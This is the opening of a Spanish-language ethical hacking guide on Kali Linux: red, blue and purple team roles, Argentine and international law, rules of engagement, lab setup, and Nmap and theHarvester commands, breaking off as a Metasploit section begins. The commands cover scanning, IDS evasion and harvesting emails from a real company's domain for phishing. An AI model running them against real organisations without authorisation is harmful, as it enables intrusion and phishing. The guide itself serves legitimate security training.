GUÍA INTEGRAL

ETHICAL HACKING

KALI

ALEJANDRO G VERA

Guía integral ethical hacking: Kali

Alejandro G Vera

Guía Maestra de Hacking Ético: Tácticas Ofensivas, Defensivas y Forenses con Kali Linux

Parte I: Fundamentos del Hacking Ético y Kali Linux

Sección 1: El Ecosistema de la Ciberseguridad: Red, Blue y Purple Teams

En el dinámico campo de la ciberseguridad, la defensa de una organización no es una tarea monolítica, sino un ecosistema complejo donde diferentes equipos especializados colaboran para superar a los atacantes potenciales. La comprensión de las funciones, mentalidades y sinergias de estos equipos es fundamental para construir una estrategia de defensa robusta y resiliente. Los conceptos de Red Team, Blue Team y Purple Team, originados en los juegos de guerra militares, han sido adaptados para crear un marco de trabajo que permite a las organizaciones probar, medir y mejorar continuamente su postura de seguridad.

El Rol del Red Team: Mentalidad y Objetivos Ofensivos

El Red Team, o Equipo Rojo, asume un rol puramente ofensivo dentro de la estrategia de ciberseguridad de una organización. Su misión principal es simular las tácticas, técnicas y procedimientos (TTPs) de adversarios del mundo real para descubrir y explotar vulnerabilidades en los sistemas, procesos y defensas de la organización. Actúan como un adversario controlado y ético, empujando las defensas hasta sus límites para evaluar su verdadera eficacia.
Los objetivos del Red Team son multifacéticos y van más allá de un simple escaneo de vulnerabilidades. Sus metas clave incluyen:

- **Violar Sistemas:** El objetivo principal es penetrar las defensas de la organización explotando debilidades técnicas, lógicas o humanas. Esto puede implicar el uso de exploits contra software desactualizado, el abuso de configuraciones incorrectas o la ejecución de campañas de ingeniería social.
- **Evadir la Detección:** Una medida clave del éxito de un Red Team es su capacidad para operar de forma sigilosa, evitando ser detectados por los sistemas de monitoreo y el personal de seguridad del Blue Team. Esto prueba la eficacia de las herramientas de detección y respuesta de la organización.
- **Lograr Objetivos Específicos:** Las operaciones del Red Team suelen estar orientadas a objetivos, como obtener acceso no autorizado a datos sensibles (por ejemplo, información de clientes, propiedad intelectual), escalar privilegios hasta obtener control de administrador de dominio o demostrar el impacto de una brecha en los procesos de negocio críticos.
- **Evaluar la Respuesta a Incidentes:** Al simular un ataque realista, el Red Team proporciona al Blue Team una oportunidad invaluable para practicar y evaluar sus procedimientos de respuesta a incidentes en un entorno controlado.

La mentalidad de un miembro del Red Team es fundamental para su éxito. Requiere una combinación única de habilidades técnicas profundas y atributos psicológicos específicos. La **creatividad** es primordial; deben pensar de manera no convencional, como lo haría un atacante real, para encontrar rutas de ataque inesperadas y encadenar vulnerabilidades aparentemente menores para lograr un impacto significativo. La **persistencia** es igualmente crucial, ya que las operaciones complejas a menudo encuentran obstáculos y defensas que deben ser superados con paciencia y determinación. Los roles dentro de un Red Team pueden ser especializados, incluyendo a probadores de penetración (penetration testers), atacantes de red, desarrolladores de exploits e ingenieros sociales, todos trabajando en conjunto para emular a un adversario sofisticado.

El Rol del Blue Team: Mentalidad y Objetivos Defensivos

En contraposición directa al Red Team, el Blue Team, o Equipo Azul, constituye la línea de defensa de la organización. Su rol es proteger los activos digitales, detectar amenazas y responder a incidentes de seguridad de manera eficaz y oportuna. Mientras el Red Team es proactivo en el ataque, el Blue Team es proactivo en la defensa, operando 24/7 para mantener la integridad, confidencialidad y disponibilidad de los sistemas.
Los objetivos del Blue Team están centrados en la protección y la resiliencia:

- **Endurecimiento de Sistemas (Hardening):** Implementar y mantener configuraciones seguras en todos los sistemas, aplicaciones y redes para reducir la superficie de ataque y minimizar las vulnerabilidades.
- **Monitoreo y Detección Continuos:** Utilizar herramientas como SIEM (Security Information and Event Management), NIDS (Network Intrusion Detection Systems) y EDR (Endpoint Detection and Response) para monitorear continuamente la actividad en la red y los endpoints en busca de indicadores de compromiso (IoCs) o comportamiento anómalo.
- **Análisis de Logs y Eventos:** Recopilar y analizar logs de diversas fuentes para construir una imagen completa de la actividad del sistema, identificar patrones sospechosos y realizar investigaciones forenses.
- **Respuesta a Incidentes:** Desarrollar, probar y ejecutar planes de respuesta a incidentes para contener, erradicar y recuperarse de las amenazas de manera eficiente, minimizando el impacto en el negocio.

La mentalidad del Blue Team se basa en el **pensamiento analítico** y una meticulosa **atención al detalle**. Deben ser capaces de interpretar grandes volúmenes de datos de seguridad complejos, diferenciar entre falsos positivos y amenazas reales, y detectar anomalías sutiles que podrían indicar una intrusión. La **paciencia bajo presión** es una virtud indispensable, ya que deben gestionar incidentes en tiempo real de manera calmada y metódica. Su trabajo es una maratón constante de vigilancia, a diferencia de las operaciones de alta intensidad y basadas en proyectos del Red Team.

La Sinergia del Purple Team: Fomentando la Colaboración para una Resiliencia Superior

Históricamente, los equipos Rojo y Azul a menudo operaban en silos, con una relación casi antagónica. Sin embargo, la ciberseguridad moderna ha demostrado que la verdadera fortaleza no reside en la supremacía de un equipo sobre el otro, sino en su colaboración sinérgica. Este enfoque colaborativo se conoce como **Purple Teaming**.

El Purple Team no es necesariamente un tercer equipo permanente, sino una función o mentalidad que une las perspectivas ofensivas y defensivas. Su propósito es maximizar la eficacia de los ejercicios de seguridad creando un ciclo de retroalimentación rápido y transparente entre los atacantes y los defensores. En un ejercicio de Purple Team, el Red Team no opera en completo sigilo con el objetivo final de "ganar", sino que comunica sus acciones (los TTPs utilizados) al Blue Team, a menudo en tiempo real o en sesiones de informe muy frecuentes.
Esta colaboración produce beneficios estratégicos significativos que van más allá de lo que los equipos pueden lograr por separado:

1. **Mejora Acelerada de la Detección y Respuesta:** El Blue Team puede verificar inmediatamente si sus controles detectaron una técnica de ataque específica. Si no fue así, pueden trabajar con el Red Team para entender por qué y ajustar sus reglas de detección (por ejemplo, en el SIEM o EDR) en el momento. Este ciclo de "atacar, detectar, ajustar, re-atacar" puede reducir el tiempo para mejorar una defensa de semanas o meses a horas.
2. **Validación de Controles de Seguridad:** Permite una evaluación precisa y eficiente de la eficacia de las herramientas de seguridad. Si el Red Team utiliza una técnica conocida y el EDR no la detecta, se identifica una brecha clara en la cobertura que debe ser abordada.
3. **Transferencia de Conocimiento y Capacitación:** Los ejercicios de Purple Team son una de las formas más efectivas de capacitación. El Blue Team obtiene una comprensión profunda de cómo piensan los atacantes y cómo se ven sus acciones en los logs y las alertas. El Red Team, a su vez, aprende sobre las capacidades de detección y las tácticas de respuesta del Blue Team, lo que les permite diseñar simulaciones aún más realistas en el futuro.
4. **Optimización de la Inversión en Seguridad:** Al identificar qué herramientas y procesos son efectivos y cuáles no, las organizaciones pueden tomar decisiones más informadas sobre dónde invertir su presupuesto de seguridad. Un informe de un ejercicio de Purple Team que demuestra que un costoso sistema de seguridad fue fácilmente eludido proporciona una justificación poderosa para reevaluar esa inversión.

La adopción de un paradigma de Purple Team representa una evolución en la madurez de la ciberseguridad de una organización. Señala un cambio cultural desde una mentalidad de silos y adversarios internos hacia una de colaboración con el objetivo común de fortalecer la resiliencia organizacional. En un panorama de amenazas donde los adversarios son cada vez más sofisticados, este ciclo de retroalimentación continuo y colaborativo no es solo una buena práctica, sino un imperativo estratégico para una defensa eficaz.

Sección 2: El Marco Legal y Ético del Hacking

El término "hacking" a menudo evoca imágenes de actividad delictiva. Sin embargo, el **hacking ético** es una disciplina profesional y legítima que opera dentro de un marco estricto de consideraciones legales y éticas. La distinción fundamental entre un hacker ético (o "white hat") y un actor malicioso (o "black hat") no radica en las habilidades o herramientas utilizadas, que a menudo son las mismas, sino en la **autorización** y la **intención**. Navegar por este panorama legal es una responsabilidad primordial para cualquier profesional de la seguridad.

Principios Fundamentales: Autorización, Alcance y Confidencialidad

Para que una actividad de hacking sea considerada ética y legal, debe adherirse a tres principios fundamentales e innegociables:

1. **Autorización Explícita:** Este es el pilar sobre el que descansa todo el hacking ético. Antes de realizar cualquier tipo de prueba de seguridad, el profesional debe obtener un permiso explícito, inequívoco y por escrito del propietario del sistema o de la organización. Este permiso, a menudo formalizado en un contrato, es lo que diferencia legalmente a un probador de penetración de un delincuente informático. Operar sin esta autorización constituye un acceso no autorizado y es ilegal según la mayoría de las jurisdicciones del mundo.
2. **Definición del Alcance (Scope):** La autorización por sí sola no es suficiente. El acuerdo entre el hacker ético y la organización debe definir claramente el alcance del compromiso. Esto incluye especificar qué sistemas, redes, aplicaciones y datos están dentro de los límites de la prueba, y cuáles están explícitamente fuera de los límites. El alcance también debe detallar los métodos de prueba permitidos (por ejemplo, si se permiten ataques de denegación de servicio o ingeniería social) y el marco de tiempo para el compromiso. Mantenerse estrictamente dentro del alcance definido es crucial para evitar daños no intencionados y responsabilidades legales.
3. **Confidencialidad y Divulgación Responsable:** Durante una evaluación, un hacker ético puede encontrar datos extremadamente sensibles. Es su deber ético y legal mantener la estricta confidencialidad de toda la información descubierta. Los hallazgos solo deben ser reportados a las partes designadas dentro de la organización cliente. Además, el principio de divulgación responsable dicta que las vulnerabilidades deben ser reportadas de manera que la organización tenga tiempo suficiente para remediarlas antes de que la información se haga pública, si es que se hace.

Análisis de la Legislación Clave (Ley 26.388 de Argentina y marcos internacionales)

El marco legal que rige el hacking ético varía según la jurisdicción, pero la mayoría de las leyes se centran en penalizar el acceso no autorizado a sistemas informáticos.
En Argentina, la Ley Nacional N° 26.388, sancionada en 2008, es la legislación clave que modifica el Código Penal para tipificar los delitos informáticos. Esta ley es de vital importancia para cualquier profesional que opere en el país. Sus principales categorías de delitos incluyen:

- **Delitos contra la Privacidad y la Libertad (Acceso Indebido):** El Artículo 153 bis del Código Penal, introducido por esta ley, sanciona con prisión "al que a sabiendas e ilegítimamente, o violando sistemas de confidencialidad y seguridad de datos, accediere, de cualquier forma, a un sistema o dato informático de acceso restringido". Esta es la figura legal central que hace que el hacking sin autorización sea un delito. La pena se agrava si el acceso perjudica a un organismo público o a un proveedor de servicios públicos.
- **Delitos contra la Propiedad (Daño Informático y Fraude):** El Artículo 183 penaliza al que "alterare, destruyere o inutilizare datos, documentos, programas o sistemas informáticos". El Artículo 173, inciso 16, tipifica la estafa informática, sancionando al que "defraudare a otro mediante cualquier técnica de manipulación informática que altere el normal funcionamiento de un sistema informático o la transmisión de datos".
- **Violación de Secretos:** La ley también protege la confidencialidad de las comunicaciones electrónicas, otorgándoles la misma protección que la correspondencia tradicional.

A nivel internacional, existen marcos legales similares que todo profesional debe conocer:

- **Computer Fraud and Abuse Act (CFAA) en Estados Unidos:** Esta es una de las leyes de ciberdelincuencia más importantes y de mayor alcance. Prohíbe el acceso a una computadora sin autorización o excediendo la autorización otorgada. Las exenciones para el hacking ético se basan en la existencia de un permiso explícito del propietario del sistema.
- **Reglamento General de Protección de Datos (GDPR) en la Unión Europea:** Aunque es una ley de protección de datos, el GDPR tiene implicaciones significativas para el hacking ético. Los pentesters deben asegurarse de que cualquier dato personal al que accedan durante una prueba se maneje de acuerdo con los estrictos principios del GDPR, incluyendo la minimización de datos y la confidencialidad, para evitar enormes multas y responsabilidades legales.

Elaboración de Reglas de Enfrentamiento (Rules of Engagement - RoE) Efectivas

Un documento de **Reglas de Enfrentamiento (Rules of Engagement - RoE)** es el contrato operativo que traduce los principios legales y éticos en directrices prácticas para una prueba de penetración. Es un documento fundamental que protege tanto al cliente como al equipo de pruebas, asegurando que todas las partes tengan las mismas expectativas. Según el NIST SP 800-115, el RoE "otorga al equipo de pruebas la autoridad para llevar a cabo actividades definidas sin necesidad de permisos adicionales".
Un RoE completo y bien redactado debe incluir, como mínimo, los siguientes elementos:

- **Resumen del Proyecto y Objetivos:** Una descripción de alto nivel de por qué se está realizando la prueba y qué se espera lograr (por ejemplo, "evaluar la seguridad del perímetro externo de la red" o "probar la resistencia de la aplicación web a ataques de inyección SQL").
- **Alcance Detallado (Scope):** Esta es la sección más crítica. Debe listar explícitamente:
    - **Objetivos en Alcance (In-Scope):** Direcciones IP, rangos de red, dominios, aplicaciones y sistemas que están permitidos para la prueba.
    - **Objetivos Fuera de Alcance (Out-of-Scope):** Sistemas que no deben ser probados bajo ninguna circunstancia para evitar interrupciones en sistemas críticos de producción o de terceros.
    - **Objetivos de Compromiso Específicos:** Si el objetivo es alcanzar un "trofeo" específico, como acceder a una base de datos de clientes o conseguir privilegios de administrador de dominio, debe especificarse.
- **Cronograma del Proyecto:** Fechas y horas exactas durante las cuales se permite la actividad de prueba. Esto es crucial para que el Blue Team del cliente pueda distinguir entre la actividad de la prueba y un ataque real, y para evitar pruebas durante períodos de alta carga de negocio.
- **Información de Contacto de Emergencia:** Nombres y números de teléfono de contacto 24/7 tanto del equipo de pruebas como del cliente, para ser utilizados en caso de que se detecte un problema crítico o se sospeche de un compromiso real.
- **Direcciones IP de los Testers:** Las direcciones IP de origen desde las cuales el equipo de pruebas lanzará sus ataques deben ser proporcionadas al cliente. Esto permite al cliente ponerlas en una lista blanca (whitelist) en sus sistemas de prevención de intrusiones (IPS) si así lo desean, o simplemente para monitorear y correlacionar la actividad de la prueba.
- **Manejo de Información Sensible:** Directrices sobre cómo se deben manejar, almacenar

y reportar los datos sensibles descubiertos durante la prueba.
- **Procedimientos de Divulgación:** Cómo y a quién se deben reportar las vulnerabilidades críticas de inmediato, en lugar de esperar al informe final.
- **Aprobación por Escrito:** El documento debe ser firmado y aprobado por un representante autorizado del cliente antes de que comience cualquier actividad de prueba.

Sin un RoE sólido, un pentester opera en una zona gris legalmente peligrosa. Este documento es la manifestación práctica del principio de autorización y define los límites que mantienen la actividad dentro del ámbito del profesionalismo ético.

Sección 3: Kali Linux: El Sistema Operativo del Hacker Ético

En el arsenal de un profesional de la ciberseguridad, el sistema operativo es una de las herramientas más fundamentales. Para el hacking ético, las pruebas de penetración y el análisis forense, **Kali Linux** se ha consolidado como el estándar de facto en la industria. No es simplemente una distribución de Linux más, sino un ecosistema completo, meticulosamente diseñado y optimizado para las tareas de seguridad ofensiva y defensiva.

Introducción y Filosofía de Kali Linux

Kali Linux es una distribución de código abierto basada en Debian, desarrollada, financiada y mantenida por Offensive Security, una empresa líder en formación en seguridad de la información. Es el sucesor espiritual de BackTrack Linux y fue reconstruido desde cero en 2013 para adherirse completamente a los estándares de desarrollo de Debian, lo que garantiza su estabilidad y robustez.

La filosofía de Kali Linux está orientada específicamente a las necesidades de los profesionales de la seguridad, no al uso general como sistema operativo de escritorio. Esta especialización se refleja en sus características clave:

- **Colección Exhaustiva de Herramientas:** Kali viene preinstalado con más de 600 herramientas de pruebas de penetración, análisis forense, ingeniería inversa y evaluación de vulnerabilidades. Estas herramientas cubren todas las fases de una evaluación de seguridad, desde el reconocimiento hasta la post-explotación. Herramientas icónicas como Nmap, Metasploit Framework, Burp Suite, Wireshark, John the Ripper y Aircrack-ng están disponibles desde el primer momento.
- **Kernel Personalizado:** Kali utiliza un kernel de Linux que está parcheado a medida para soportar una amplia gama de hardware inalámbrico y, lo que es más importante, para permitir la **inyección de paquetes inalámbricos**. Esta es una capacidad crucial para realizar auditorías de seguridad en redes Wi-Fi.
- **Seguridad por Defecto:** A diferencia de los sistemas operativos de escritorio, Kali está diseñado para ser seguro desde el principio. Por ejemplo, los servicios de red (como SSH o HTTP) están deshabilitados por defecto para minimizar la superficie de ataque del propio sistema del pentester.
- **Entorno de Desarrollo Seguro:** El equipo de Kali Linux es un grupo reducido de desarrolladores de confianza que son los únicos autorizados para enviar paquetes a los repositorios. Todos los paquetes están firmados con GPG para garantizar su integridad y autenticidad.
- **Gratuito y de Código Abierto:** Kali Linux es y siempre será gratuito. Su árbol de desarrollo está disponible públicamente en Git, lo que permite a los usuarios auditar el

código fuente y personalizar la distribución hasta el más mínimo detalle.

- **Soporte Multiplataforma:** Kali no solo se ejecuta en arquitecturas x86 y amd64, sino que también tiene un robusto soporte para dispositivos ARM, lo que permite su uso en sistemas embebidos de bajo costo como Raspberry Pi. Además, ofrece variantes para virtualización, contenedores (Docker), Windows Subsystem for Linux (WSL) y dispositivos móviles (Kali NetHunter).

Guía de Instalación Práctica: Creación de un Laboratorio Seguro con VirtualBox

Para practicar el hacking ético de forma segura, es imperativo crear un laboratorio aislado. Instalar Kali Linux directamente como sistema operativo principal (dual-boot o único) no es recomendable para principiantes, ya que las actividades de pentesting (ejecutar scripts maliciosos, abrir puertos, etc.) podrían exponer la máquina anfitriona a riesgos o causar daños irreparables. La virtualización es la solución ideal, ya que crea un entorno de "sandbox" que aísla completamente el laboratorio de la red y el sistema principal.
A continuación se presenta una guía paso a paso para instalar Kali Linux utilizando una imagen de máquina virtual (VM) pre-construida en Oracle VirtualBox, el método más rápido y sencillo.

Paso 1: Instalar VirtualBox y el Extension Pack

1. Vaya al sitio web oficial de VirtualBox (https://www.virtualbox.org/) y descargue el instalador correspondiente a su sistema operativo anfitrión (Windows, macOS o Linux).
2. Desde la misma página de descargas, descargue el "VirtualBox Extension Pack". Es un único archivo para todas las plataformas y añade funcionalidades como el soporte para USB 3.0 y el cifrado de disco de la VM.
3. Ejecute el instalador de VirtualBox y siga las instrucciones. Las opciones por defecto son generalmente adecuadas.
4. Una vez instalado VirtualBox, haga doble clic en el archivo del Extension Pack. Acepte el acuerdo de licencia para completar su instalación.

Paso 2: Descargar la Imagen de Máquina Virtual de Kali Linux

1. Visite la página oficial de descargas de Kali Linux (https://www.kali.org/get-kali/).
2. Seleccione la opción "Virtual Machines".
3. Descargue la imagen para "VirtualBox (64-bit)". Esta es una imagen .ova o un archivo .7z que contiene los ficheros .vbox y .vdi, que ya está preconfigurada y optimizada para ejecutarse en VirtualBox, ahorrando todo el proceso de instalación manual desde un ISO.

Paso 3: Importar y Configurar la Máquina Virtual

1. Si descargó un archivo comprimido (como .7z), extráigalo en una carpeta de su elección. Dentro encontrará un archivo con extensión .vbox o .ova.
2. Abra VirtualBox.
3. Vaya a Archivo > Importar servicio virtualizado.
4. Seleccione el archivo .ova o .vbox que extrajo y siga el asistente de importación. VirtualBox mostrará la configuración predeterminada de la VM (RAM, CPU, etc.). Puede ajustarla si lo desea, aunque se recomienda un mínimo de 2 GB de RAM (4 GB recomendados) y 25 GB de espacio en disco.
5. Haga clic en "Importar". VirtualBox creará la máquina virtual de Kali y aparecerá en el panel izquierdo del administrador de VirtualBox.

Paso 4: Iniciar Kali Linux por Primera Vez

1. Seleccione la nueva VM de Kali en el panel izquierdo y haga clic en el botón "Iniciar".
2. La máquina virtual arrancará y le presentará una pantalla de inicio de sesión.
3. Las credenciales por defecto para las imágenes pre-construidas de Kali son :

- **Usuario:** kali
- **Contraseña:** kali

Recorrido por el Entorno y Comandos Esenciales Post-Instalación

Una vez que haya iniciado sesión en su nueva VM de Kali, hay algunos pasos cruciales que debe realizar antes de empezar a usar las herramientas. Abra una ventana de terminal para ejecutar los siguientes comandos.

1. **Verificar la Conectividad:** Asegúrese de que su VM tiene acceso a Internet. Una forma sencilla de hacerlo es con el comando ping.
   ```
   ping -c 4 google.com
   ```
   Si recibe respuestas, su conexión funciona correctamente.
2. **Actualizar el Sistema (Paso Crítico):** Las imágenes de Kali, aunque se actualizan con frecuencia, pueden no tener los últimos paquetes. Es **absolutamente fundamental** actualizar el sistema para obtener las últimas versiones de las herramientas, parches de seguridad y dependencias.
   ```
   sudo apt update && sudo apt full-upgrade -y
   ```
   Este comando realiza dos acciones:
   - sudo apt update: Sincroniza la lista de paquetes de su sistema con los repositorios de Kali, obteniendo la información más reciente sobre las versiones disponibles.
   - sudo apt full-upgrade -y: Actualiza todos los paquetes instalados a sus últimas versiones, instalando o eliminando dependencias si es necesario. La opción -y responde afirmativamente a todas las preguntas, automatizando el proceso. Este paso puede tardar un tiempo considerable.
3. **Explorar las Herramientas:** El menú de aplicaciones de Kali está organizado por categorías que se alinean con las fases de una prueba de penetración (por ejemplo, "Information Gathering", "Vulnerability Analysis", "Exploitation Tools", "Forensics"). Dedique tiempo a explorar estas categorías para familiarizarse con la vasta gama de herramientas a su disposición.

Con estos pasos completados, su laboratorio de Kali Linux está listo y seguro para comenzar su viaje en el hacking ético.

Parte II: El Arte de la Ofensiva - Manual del Red Team

El Red Team opera en la vanguardia de la ciberseguridad, emulando a los adversarios para probar proactivamente las defensas de una organización. Esta sección de la guía se sumerge en las tácticas, técnicas y herramientas que definen las operaciones ofensivas, siguiendo una metodología de ataque estructurada: desde el reconocimiento inicial hasta la explotación, la post-explotación y la evasión avanzada. Cada fase se ilustrará con herramientas clave de Kali Linux y ejemplos prácticos en la línea de comandos.

Sección 4: Fase 1 - Reconocimiento e Inteligencia (OSINT)

El reconocimiento es la fase inicial y una de las más críticas de cualquier operación ofensiva. El objetivo es recopilar la mayor cantidad de información posible sobre el objetivo de forma pasiva (sin interactuar directamente con él) y activa (interactuando con sus sistemas). Esta información

es la base sobre la que se construirán los ataques posteriores.

Escaneo de Redes con Nmap

Nmap (Network Mapper) es la herramienta por excelencia para el reconocimiento activo. Permite a los pentesters descubrir hosts en una red, los puertos que tienen abiertos, los servicios que se ejecutan en esos puertos, las versiones de esos servicios y el sistema operativo del host. Es una herramienta tan fundamental que su dominio es indispensable tanto para los equipos ofensivos como para los defensivos que buscan entender su propia superficie de ataque.

Tipos de Escaneo: SYN Scan (-sS) vs. Connect Scan (-sT)

La elección del tipo de escaneo TCP es una decisión táctica fundamental que depende del nivel de sigilo requerido y de los privilegios del usuario.

- **TCP SYN Scan (-sS):** Conocido como escaneo "stealth" o "half-open", es el método de escaneo TCP por defecto cuando Nmap se ejecuta con privilegios de superusuario (root). Funciona enviando un paquete TCP con el flag SYN (sincronizar), como si fuera a iniciar una conexión.
    - Si el puerto está **abierto**, el objetivo responde con un paquete SYN/ACK (sincronizar/acuse de recibo). Nmap, al recibir esta respuesta, sabe que el puerto está abierto y envía inmediatamente un paquete RST (reset) para cerrar la conexión antes de que se complete el handshake de tres vías.
    - Si el puerto está **cerrado**, el objetivo responde con un paquete RST.
    - La principal ventaja es el **sigilo**. Al no completar la conexión, es menos probable que la aplicación que escucha en el puerto registre el intento de conexión, lo que lo hace más difícil de detectar para sistemas de logging simples. Sin embargo, los sistemas de detección de intrusiones (IDS) modernos suelen ser capaces de detectar este tipo de escaneo.
- **TCP Connect Scan (-sT):** Este es el escaneo TCP por defecto cuando el usuario no tiene privilegios de root para enviar paquetes raw. En lugar de crear los paquetes a bajo nivel, Nmap utiliza la llamada al sistema connect() del sistema operativo para intentar establecer una conexión completa.
    - Si el puerto está **abierto**, el handshake de tres vías se completa con éxito. Nmap entonces cierra la conexión.
    - Si el puerto está **cerrado**, la llamada connect() falla.
    - La principal desventaja es que es **ruidoso**. Al completar la conexión, es mucho más probable que la aplicación de destino y el sistema operativo registren el evento, dejando un rastro claro de la actividad del escáner. Sin embargo, en redes con firewalls que realizan inspección de estado de paquetes (Stateful Packet Inspection), un Connect Scan puede ser más fiable al imitar una conexión legítima.

Comandos Prácticos de Nmap

A continuación se presentan ejemplos de comandos de Nmap para realizar tareas comunes de reconocimiento:

- **Descubrimiento de Hosts (Ping Scan):** Para identificar qué hosts están activos en una red sin realizar un escaneo de puertos. Es un primer paso rápido y eficiente.

```
# Realiza un ping scan en el rango de red 192.168.1.0/24
nmap -sn 192.168.1.0/24
```
La opción -sn (anteriormente -sP) deshabilita el escaneo de puertos y solo realiza el descubrimiento de hosts.

- **Escaneo de Puertos Específicos:** Para centrarse en puertos de interés conocidos.
```
# Escanea los puertos 80 (HTTP), 443 (HTTPS) y 22 (SSH) en el objetivo 10.10.10.5
nmap -p 80,443,22 10.10.10.5
```

- **Escaneo Rápido vs. Completo:** Para un balance entre velocidad y exhaustividad.
```
# Escaneo rápido de los 100 puertos más comunes
nmap -F 10.10.10.5

# Escaneo de todos los 65535 puertos TCP
nmap -p- 10.10.10.5
```
La opción -F es útil para una evaluación inicial rápida, mientras que -p- es exhaustivo pero mucho más lento.

- **Detección de Servicios, Versiones y Sistema Operativo:** Para obtener información detallada sobre lo que se ejecuta en los puertos abiertos.
```
# Escaneo agresivo que incluye detección de SO (-O), detección de versión (-sV),
# escaneo de scripts (--script=default) y traceroute (-A)
sudo nmap -A 10.10.10.5
```
El comando -A es un atajo potente para obtener una imagen completa del objetivo. Se requiere sudo porque la detección de SO y el escaneo SYN por defecto necesitan privilegios de root.

- **Uso del Nmap Scripting Engine (NSE):** Para automatizar la detección de vulnerabilidades.
```
# Ejecuta todos los scripts de la categoría 'vuln' en el objetivo
sudo nmap --script=vuln 10.10.10.5
```
NSE es un motor de scripting que amplía enormemente la funcionalidad de Nmap, permitiendo desde la detección de vulnerabilidades específicas hasta la explotación básica.

- **Guardar Resultados:** Para documentar los hallazgos para su posterior análisis.
```
# Escanea el objetivo y guarda los resultados en tres formatos: normal, XML y "grepable"
sudo nmap -sS -A -oA resultados_scan 10.10.10.5
```
La opción -oA guarda los resultados en resultados_scan.nmap, resultados_scan.xml y resultados_scan.gnmap, lo que es ideal para el procesamiento automático y la elaboración de informes.

Opción de Nmap	Nombre del Escaneo	Privilegio Requerido	Nivel de Sigilo	Caso de Uso Ideal
-sS	TCP SYN Scan	Root	Alto	Escaneo inicial rápido y sigiloso en redes no filtradas. Es el estándar para

Opción de Nmap	Nombre del Escaneo	Privilegio Requerido	Nivel de Sigilo	Caso de Uso Ideal
				pentesters.
-sT	TCP Connect Scan	Usuario estándar	Bajo	Cuando no se tienen privilegios de root o cuando se necesita máxima fiabilidad de conexión a través de un firewall con estado.
-sU	UDP Scan	Root	Medio	Escanear servicios basados en UDP como DNS (53), SNMP (161), o DHCP (67/68). Es inherentemente lento.
-sN / -sF / -sX	Null / FIN / Xmas Scan	Root	Muy Alto	Intentar evadir firewalls sin estado y sistemas IDS antiguos que no están configurados para detectar estos paquetes anómalos. No funciona en sistemas Windows.
-sA	TCP ACK Scan	Root	Medio	Mapear conjuntos de reglas de firewall, determinando si los puertos están filtrados o no filtrados. No puede determinar si un puerto está abierto.

Recolección de Información con theHarvester

Mientras que Nmap se centra en el reconocimiento técnico activo, **theHarvester** es una herramienta de código abierto (OSINT) diseñada para recopilar información pública sobre un dominio o empresa. Reúne datos como direcciones de correo electrónico, nombres de subdominios, hosts virtuales, IPs y nombres de empleados de diversas fuentes públicas como motores de búsqueda (Google, Bing, DuckDuckGo) y bases de datos especializadas (Shodan,

Hunter.io, SecurityTrails). Esta información es oro puro para un Red Team, ya que puede revelar subdominios olvidados y potencialmente vulnerables o proporcionar una lista de correos electrónicos para futuras campañas de phishing.

Comandos Prácticos de theHarvester

- **Búsqueda Básica en una Fuente:**
  ```
  # Buscar subdominios y correos para el dominio 'tesla.com' usando el motor de búsqueda de Google
  theHarvester -d tesla.com -b google
  ```
  Este comando le indica a theHarvester (-d) que se centre en tesla.com y que utilice (-b) Google como su fuente de datos.
- **Búsqueda Exhaustiva y Limitación de Resultados:**
  ```
  # Buscar en todas las fuentes disponibles, limitando los resultados a 200 por fuente
  theHarvester -d tesla.com -b all -l 200
  ```
  Usar all como fuente es potente pero puede llevar tiempo. La opción -l ayuda a gestionar la cantidad de datos recopilados.
- **Guardar los Resultados:** Para un análisis posterior y la elaboración de informes, es crucial guardar la salida.
  ```
  # Buscar en Bing y LinkedIn, y guardar los resultados en archivos XML y JSON
  theHarvester -d tesla.com -b bing,linkedin -f tesla_results
  ```
  Este comando creará los archivos tesla_results.xml y tesla_results.json con los hallazgos.
- **Uso de APIs:** Para fuentes como Hunter.io o SecurityTrails, se necesita una clave de API. Estas claves se configuran en el archivo api-keys.yaml dentro del directorio de configuración de theHarvester.
  ```
  # Buscar correos electrónicos asociados a un dominio usando la API de Hunter.io
  theHarvester -d tesla.com -b hunter
  ```

El reconocimiento es un arte que combina la delicadeza técnica con la investigación exhaustiva. La información obtenida en esta fase determina la dirección y el éxito de las fases posteriores del ataque. Un reconocimiento deficiente lleva a ataques fallidos, mientras que un reconocimiento meticuloso revela las grietas en la armadura del objetivo que pueden ser explotadas.

Sección 5: Fase 2 - Explotación de Vulnerabilidades

Una vez que la fase de reconocimiento ha proporcionado un mapa del terreno y ha identificado posibles puntos débiles, la fase de explotación se centra en utilizar esa información para obtener acceso no autorizado a los sistemas objetivo. Esta es la fase donde el hacking se vuelve tangible. Implica el uso de herramientas especializadas para aprovechar vulnerabilidades en software, servicios o configuraciones. La elección de la herramienta y la técnica correctas es una decisión estratégica que se basa en la inteligencia recopilada y en la comprensión de las defensas del objetivo.
Un aspecto crucial de esta fase es la selección del **payload**, el código que se ejecutará en el sistema víctima después de una explotación exitosa. La eficacia de un ataque a menudo

depende de la capacidad del payload para evadir las defensas y establecer una conexión estable para el atacante. Esta elección no es trivial; un pentester debe considerar si el objetivo está detrás de un firewall, las restricciones de tamaño del exploit y el nivel de sigilo requerido. Por ejemplo, en un entorno corporativo donde el tráfico saliente en puertos comunes como 80 (HTTP) y 443 (HTTPS) está permitido pero las conexiones entrantes están estrictamente bloqueadas, una **reverse shell** que se conecta a través del puerto 443 es tácticamente superior a una **bind shell** que intenta abrir un puerto aleatorio en la víctima. Del mismo modo, si un exploit de desbordamiento de búfer ofrece un espacio muy limitado, un payload **staged** (pequeño y en etapas) es la única opción viable, a pesar de que un payload **stageless** (completo y autónomo) sería más estable y sigiloso en términos de tráfico de red post-explotación. Esta toma de decisiones estratégicas, que sopesa las ventajas y desventajas de cada opción en el contexto del objetivo, es lo que distingue a un operador avanzado.

El Framework Metasploit: Arquitectura, Módulos y msfconsole

El **Metasploit Framework** es, sin duda, la herramienta de explotación más famosa y completa del arsenal de un pentester. Es un framework modular de código abierto, escrito en Ruby, que simplifica el proceso de explotación al proporcionar una vasta biblioteca de exploits, payloads y herramientas auxiliares probados y listos para usar.

- **Arquitectura y Módulos:** La fortaleza de Metasploit reside en su modularidad. Los componentes principales son :
    - **Exploits:** Código que aprovecha una vulnerabilidad específica en un sistema o aplicación.
    - **Payloads:** Código que se ejecuta en el sistema objetivo después de que el exploit tiene éxito. Definen lo que el atacante puede hacer (por ejemplo, obtener una shell).
    - **Auxiliary:** Módulos que realizan acciones que no son explícitamente de explotación, como escaneos, fuzzing o denegación de servicio.
